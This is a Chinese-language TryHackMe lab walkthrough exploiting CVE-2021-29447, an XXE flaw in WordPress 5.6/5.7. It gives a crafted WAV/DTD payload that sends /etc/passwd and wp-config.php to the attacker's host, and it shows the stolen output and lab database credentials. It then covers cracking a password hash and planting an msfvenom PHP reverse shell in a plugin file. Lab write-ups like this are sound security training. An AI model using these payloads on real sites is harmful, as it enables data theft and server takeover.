# CVE-2021-29447 (WordPress 5.7 XXE漏洞)
###### tags: `CVE` `TryHackMe` `XXE`
room:
```
https://tryhackme.com/room/wordpresscve202129447
```
參考:
```
https://www.ddosi.org/cve-2021-29447/
```
連VPN
```
sudo openvpn cow3345678cow.ovpn
```
```
ifocnfig
```
得到VPN ip
```
10.18.10.74
```
按下Start Machine 它會給你目標 網站 IP
```
10.10.15.78
```
firefox:
```
http://10.10.15.78/
```
wpscan
```
sudo wpscan --url http://10.10.15.78 --enumerate ap,at,cb,dbe
```
wordpress版本
```
WordPress version 5.6.2 identified (Insecure, released on 2021-02-22)
```
wordpress 登入介面:
```
http://10.10.15.78/wp-login.php
```
輸入帳密密碼(題目給的):
```
user: test-corp
password: test
```
目前是一般使用者。
利用漏洞
製作 payload.wav
改自己的 IP PORT 和 dtd 檔名
```bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.18.10.74:80/poc.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
```
製作poc.dtd
改自己的 IP PORT
```dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.18.10.74:80/?p=%file;'>" >
```
payload 講解:
```dtd
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM 'http://10.18.10.74:80/poc.dtd'>
<! -- 聲明參數實體 remote 只能在 DOCTYPE 宣告中 -->
%remote;
<! -- 參數實體 remote 請求外部dtd資源 -->
%init;
<! -- init被引用 相當於聲明了 trick 參數 -->
%trick;
<! --trick 參數被引用 夾帶密碼資料去外部 dns log -->
]>
```
外部dtd
```dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<! -- 聲明參數實體 file 獲取密碼檔案 -->
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.18.10.74:80/?p=%file;'>" >
<! -- 聲明參數實體 init 是一段字串 "<!ENTITY % trick SYSTEM 'http://10.18.10.74:80/?p=%file;'>"-->
<! -- 同時 %file 被引用相當於 "<!ENTITY % trick SYSTEM 'http://10.18.10.74:80/?p=密碼表數據'>"-->
```
在 desktop 開啟web 服務，受害者伺服器可以連到dtd檔
```
php -S 0.0.0.0:80
```
上傳payload.wav，此時伺服器解析 payload.wav 的時候，就會抓取dtd檔，dtd 會去抓取內容
```
/etc/passwd
```
抓到內容後，它會利用參數 P 把訊息帶過來。(查看 php 伺服器log)
```
[Fri Oct 21 10:24:43 2022] 10.10.15.78:48502 [404]: GET /?p=hVTbjpswEH3fr+CxlYLMLTc/blX1ZVO1m6qvlQNeYi3Y1IZc+vWd8RBCF1aVDZrxnDk+9gxYY1p+4REMiyaj90FpdhDu+FAIWRsNiBhG77DOWeYAcreYNpUplX7A1QtPYPj4PMhdHYBSGGixQp5mQToHVMZXy2Wace+yGylD96EUtUSmJV9FnBzPMzL/oawFilvxOOFospOwLBf5UTLvTvBVA/A1DDA82DXGVKxqillyVQF8A8ObPoGsCVbLM+rewvDmiJz8SUbX5SgmjnB6Z5RD/iSnseZyxaQUJ3nvVOR8PoeFaAWWJcU5LPhtwJurtchfO1QF5YHZuz6B7LmDVMphw6UbnDu4HqXL4AkWg53QopSWCDxsmq0s9kS6xQl2QWDbaUbeJKHUosWrzmKcX9ALHrsyfJaNsS3uvb+6VtbBB1HUSn+87X5glDlTO3MwBV4r9SW9+0UAaXkB6VLPqXd+qyJsFfQntXccYUUT3oeCHxACSTo/WqPVH9EqoxeLBfdn7EH0BbyIysmBUsv2bOyrZ4RPNUoHxq8U6a+3BmVv+aDnWvUyx2qlM9VJetYEnmxgfaaInXDdUmbYDp0Lh54EhXG0HPgeOxd8w9h/DgsX6bMzeDacs6OpJevXR8hfomk9btkX6E1p7kiohIN7AW0eDz8H+MDubVVgYATvOlUUHrkGZMxJK62Olbbdhaob0evTz89hEiVxmGyzbO0PSdIReP/dOnck9s2g+6bEh2Z+O1f3u/IpWxC05rvr/vtTsJf2Vpx3zv0X - No such file or directory
```
創建 decoder.php (zlib 庫解碼，把上面的base64 貼上去)
我這邊拿到的data 輸出問題，有時候需要先去掉空白，在去解密
```
<?php echo zlib_decode(base64_decode('base64here')); ?>
```
執行
```
php decoder.php
```
得到:
```http
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
stux:x:1000:1000:CVE-2021-29447,,,:/home/stux:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
```
到這一步，已經可以看到/etc/passwd
接下來，dtd替換成打印 wp-config.php
```xml
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../wp-config.php">
```
重新上傳payload.wav 得到
```
[Fri Oct 21 11:00:47 2022] 10.10.15.78:48510 [404]: GET /?p=nVZtT+NGEP5cJP7DcK2UKyVxOaSq4lqVQFKCLkdonAjdp2hjr+0Vzu7evoSLTvffO7N2HIdDreA4CWPPPPP+zPzxly704UF0fHx4AMcwKzgsmeWQKJmJ3BvmhJKQKQP3yqR3hltLgo3wo+5Woj3EgcTwSsEmRmgH3nILrhAWMlFySL0RMscXPOgLaR0ry6DRg0/KQ6pkx0HB1hycIm2ShUe+BCscP4ENyiRMBu1E6U0LG+Xf7DnzBphM6VuJhgLOmpWe217L/60yajmG7gSxTJWleiRH95JgzxvFY/i4if8Zg+XOoZytX8Yc43fwwDfbNwPmWEgn/kIz2vBMfKm/9S/ju/5s1IBelEI+QOGctudR9IjZ1pTtnjJ5ZL3WyriIGSeSkkc8FWS42wTcxYCjHZRmyQPL+X7N8DsWOoLjp+5DNyQfEws5+h9yKmSmIDNqRTk3oQSFso6Uoyj0Syi/ZCsOKgt5S7fB7nVLsJti3JK/hc7gcnHb/zjsnECniTBdvuvAz++Dd41vDRg2gQlWnuLM4+GUcNB0ysyDYzLn0v0HkmbWktHvkO76cXw/mQ4Izc71mYnPqJCnZ8/4RUl41p3RJJ4RQKkSVpJUW7fpg6uCGUs5rrobG7MaGWy2dK9XbO87C1ej/jQeBiPeZb+38akUOxuKZgpxNpr3YBBGKikoPXVpM7KbKr90zxiZjMf9WShQy8CPF7+Exup7zLbEHqymfC7FZ8/hAzZ8GLaYla41X1dbo9yG+UxFlnGD+uArRV0YdNgeBeldC0pugv9Bz9uaMuDr/oQwLXpPpiTMXxfnLzrtnUYWvYl2jUgisBPBR7MWCf+2Zzxpu8wcRrUBrQS6TBwiViEOIZFJREo+In0B/yKsq+hCPQiqXCCWR2IeHIWkkqI+tqS9ZbdS5QTKciSeXc4uMFzUeNf7rfdrPbRNefrz2WjxYfgJi7P919HeVRO6l1IoMM9V/RrteHg1nw4XbZAXaI8n19fDweLmdufAC7RvJ7dXw33XX6AdXI7749mrtNtx1yCvirtx4MVx77n+/9r1xHVrwq43845Qm0GftZbKroO2rRz6bOVLJ3TJ93YtsTso2WJspARarblAFc6SIgCxxsPKAkxkuQHpV0vs5BMocXuEB5p8L1N8ThQ6CGgOMY/q7v0p0NmiwoA/kfe1M5tF5307uL9xY6R8zUulEea8FWzKlz7PabpWKuXPcIsIQ+WMD0PFZchJWEfC6pJtaDtJhZSFntX3R21phUwUAOEGx9uCdUbJHEM0PFEr/JryFJGQBXTpcxpVSX9zJIGdr4HG7+8Wg+Hl/Lq+akhImLYZ9GstEJ2eWwRJYdOiNauKT+k/6ho6PLBcKFvZp3IuwypMw3JtknISYNYCr6MqZpV4slGdVK86LRrsrpDdRjR6ykXbkLGvM1ZiDradi+THXMcS551gSpWG+lg5ghHTeLJpvyyFLfDN3vYhxNEknAYBsDVH9Cm+mQ3n03H7a7X6+kurSu9ovbsitELB2/0jsJpOmU1lDBv9LRxBBZwSt1RXGE4e/nw9PPhhxzr1lxNYLAY308UCetCJqhH9trUec6yR1y2Da1zwoVOQx0tPLUQXZr3ODf/s0aGFIo6vDRAs3nHbY4xOVxqOfwE= - No such file or directory
```
解碼:
```php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpressdb2' );
/** MySQL database username */
define( 'DB_USER', 'thedarktangent' );
/** MySQL database password */
define( 'DB_PASSWORD', 'sUp3rS3cret132' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wptry_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing. */
define('WP_HOME', false);
define('WP_SITEURL', false);
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
```
得到 db 的username
nmap 掃一下
```
sudo nmap -p 3306 10.10.107.98
```
mysql 連接
```
mysql -h 10.10.107.98 -u thedarktangent -p
```
pw:
```
sUp3rS3cret132
```
show databases;
```
show databases;
```
使用庫
```
use wordpressdb2;
```
show 表
```
show tables;
```
user 表:
```
select * FROM wptry_users;
```
兩個user
```
corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1
test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0
```
hash-identifier
```
hash: $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1
```
創建hash_wps.txt
```
$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1
```
解壓 rockyou.txt
```
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
```
john
```
john hash_wps.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
```
john --show hash_wps.txt
```
password:
```
teddybear
```
登入管理者:
```
user: corp-001
passwd: teddybear
```
msfvenom 生成php 反彈木馬
```
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.1.195 LPORT=4444 > reverse.php
```
msfconsole 監聽
```
use exploit/multi/handler
set LHOST 10.10.1.195
set LPORT 4444
set PAYLOAD php/meterpreter/reverse_tcp
exploit
```
找到plugins的地方，然後找hello dolly 的頁面用reverse.php 木馬覆蓋hello.php。保存
(記得先關閉插件在修改)
插件修改頁面
```
http://10.10.1.195/wp-admin/plugin-editor.php?plugin=hello.php&Submit=Select
```
網址觸發拿到shell:
```
http://10.10.243.74/wp-content/plugins/hello.php
```
交互shell: (找flag)
```
ls
cd home
cd stux
cd flag
cat flag.txt
```
Sign in with Wallet
Connect another wallet